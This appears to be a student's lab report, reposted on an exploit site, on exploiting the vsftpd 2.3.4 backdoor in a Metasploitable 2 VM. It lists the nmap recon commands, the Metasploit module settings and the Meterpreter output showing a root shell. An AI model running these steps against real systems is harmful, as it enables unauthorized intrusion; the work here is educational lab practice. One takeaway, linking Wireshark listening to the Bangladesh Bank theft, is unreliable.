Share
## https://sploitus.com/exploit?id=1D2F15C4-7EC3-59CA-ACD1-FDBFEFE00A2D
# 🎯 vsftpd 2.3.4 Backdoor Exploit β€” Lab Report

> **Date:** 21 July 2026  
> **Attacker:** Kali Linux / Zorin OS (192.168.56.1)  
> **Target:** Metasploitable 2 (192.168.56.101)  
> **Vulnerability:** vsftpd 2.3.4 Backdoor (CVE-2011-2523)  
> **Result:** βœ… Root shell obtained via Meterpreter

---

## πŸ“Έ Lab Setup

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚          LAB NETWORK                 β”‚
β”‚                                      β”‚
β”‚  Zorin OS ─── 192.168.56.1          β”‚
β”‚     β”‚   (Attacker - Metasploit)     β”‚
β”‚     β”‚                                β”‚
β”‚     β”œβ”€β”€ Metasploitable 2             β”‚
β”‚     β”‚   192.168.56.101 (Target)      β”‚
β”‚     β”‚   ─ Port 21: vsftpd 2.3.4 πŸ”₯  β”‚
β”‚     β”‚   ─ Port 22: SSH              β”‚
β”‚     β”‚   ─ Port 80: Apache           β”‚
β”‚     β”‚   ─ Port 3306: MySQL          β”‚
β”‚     β”‚   ─ and 19 more open ports    β”‚
β”‚     β”‚                                β”‚
β”‚     └── Kali Linux                   β”‚
β”‚         192.168.56.102 (Spare VM)    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## πŸ” Step 1: Reconnaissance (Nmap)

### Ping Test β€” Target Alive?
```bash
ping -c 2 192.168.56.101
```
βœ… **Result:** 2 packets sent, 2 received, 0% loss

### Service Version Scan
```bash
nmap -sV 192.168.56.101
```
**Found 23 open ports!** Key findings:

| Port | Service | Version | Notes |
|------|---------|---------|-------|
| **21** | FTP | **vsftpd 2.3.4** | ⚠️ Known backdoor! |
| 22 | SSH | OpenSSH 4.7p1 | Old version |
| 23 | Telnet | Linux telnetd | Unencrypted |
| 80 | HTTP | Apache 2.2.8 | Web server |
| 139/445 | SMB | Samba 3.X | File sharing |
| 3306 | MySQL | 5.0.51a | Database |
| 5900 | VNC | 3.3 | Remote desktop |
| 1524 | bindshell | - | Already backdoored! |

### Vulnerability Scan
```bash
nmap --script vuln 192.168.56.101
```
βœ… Confirmed broadcast-avahi-dos vulnerability

---

## πŸ’₯ Step 2: Exploitation (Metasploit)

### Launch Metasploit
```bash
msfconsole
```

### Select & Configure Exploit
```bash
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.101
msf6 > set LHOST 192.168.56.1
msf6 > run
```

### 🎯 Successful Exploit Output
```
[+] 192.168.56.101:21 - The target appears to be vulnerable.
[+] 192.168.56.101:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:44009)
```

### Meterpreter Shell
```
meterpreter > getuid
Server username: root                    ← βœ… ROOT ACCESS!

meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686

meterpreter > pwd
/

meterpreter > ls
/bin, /boot, /etc, /home, /root, /tmp, /usr, /var ...
```

### Normal Shell Access
```bash
meterpreter > shell
whoami    β†’ root
id        β†’ uid=0(root) gid=0(root)
hostname  β†’ metasploitable
```

---

## πŸ“Š Attack Chain Summary

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  PING    β”‚ ──► β”‚  NMAP    β”‚ ──► β”‚METASPLOITβ”‚ ──► β”‚  ROOT    β”‚
β”‚  Target  β”‚     β”‚  -sV     β”‚     β”‚ exploit  β”‚     β”‚  SHELL!  β”‚
β”‚  Alive?  β”‚     β”‚  --vuln  β”‚     β”‚ vsftpd   β”‚     β”‚    βœ…    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## πŸ› οΈ Tools Used

| Tool | Purpose |
|------|---------|
| Nmap | Port scanning & service detection |
| Metasploit Framework | Exploitation framework |
| Meterpreter | Post-exploitation payload |
| VirtualBox | VM hosting |

---

## πŸ“š Key Takeaways

1. **Nmap** β†’ Always start with recon. Know your target before attacking.
2. **vsftpd 2.3.4** β†’ Old software = known vulnerabilities. Always check versions!
3. **Metasploit** β†’ Automates exploitation of known CVEs. 2,654+ exploits available.
4. **Root shell** β†’ Full system compromise. You have complete control.
5. **Bangladesh Bank Connection** β†’ The same Wireshark passive listening technique was used by Lazarus Group to steal $81M.

---

## πŸš€ Next Steps in Learning

```
Day 15 β†’ Phase 1 Review & Quiz
Day 16 β†’ Cryptography I: Hashing vs Encryption
Day 17 β†’ Cryptography II: Symmetric vs Asymmetric
Day 18 β†’ SSL/TLS & PKI
Day 19 β†’ Authentication vs Authorization
Day 20 β†’ Web Recon & Directory Busting
Day 21 β†’ OWASP Top 10
```

---

## ⚠️ Disclaimer

> This lab was performed in an **isolated home lab environment** on **Metasploitable 2** β€” an intentionally vulnerable VM. All activities were authorized and for **educational purposes only**.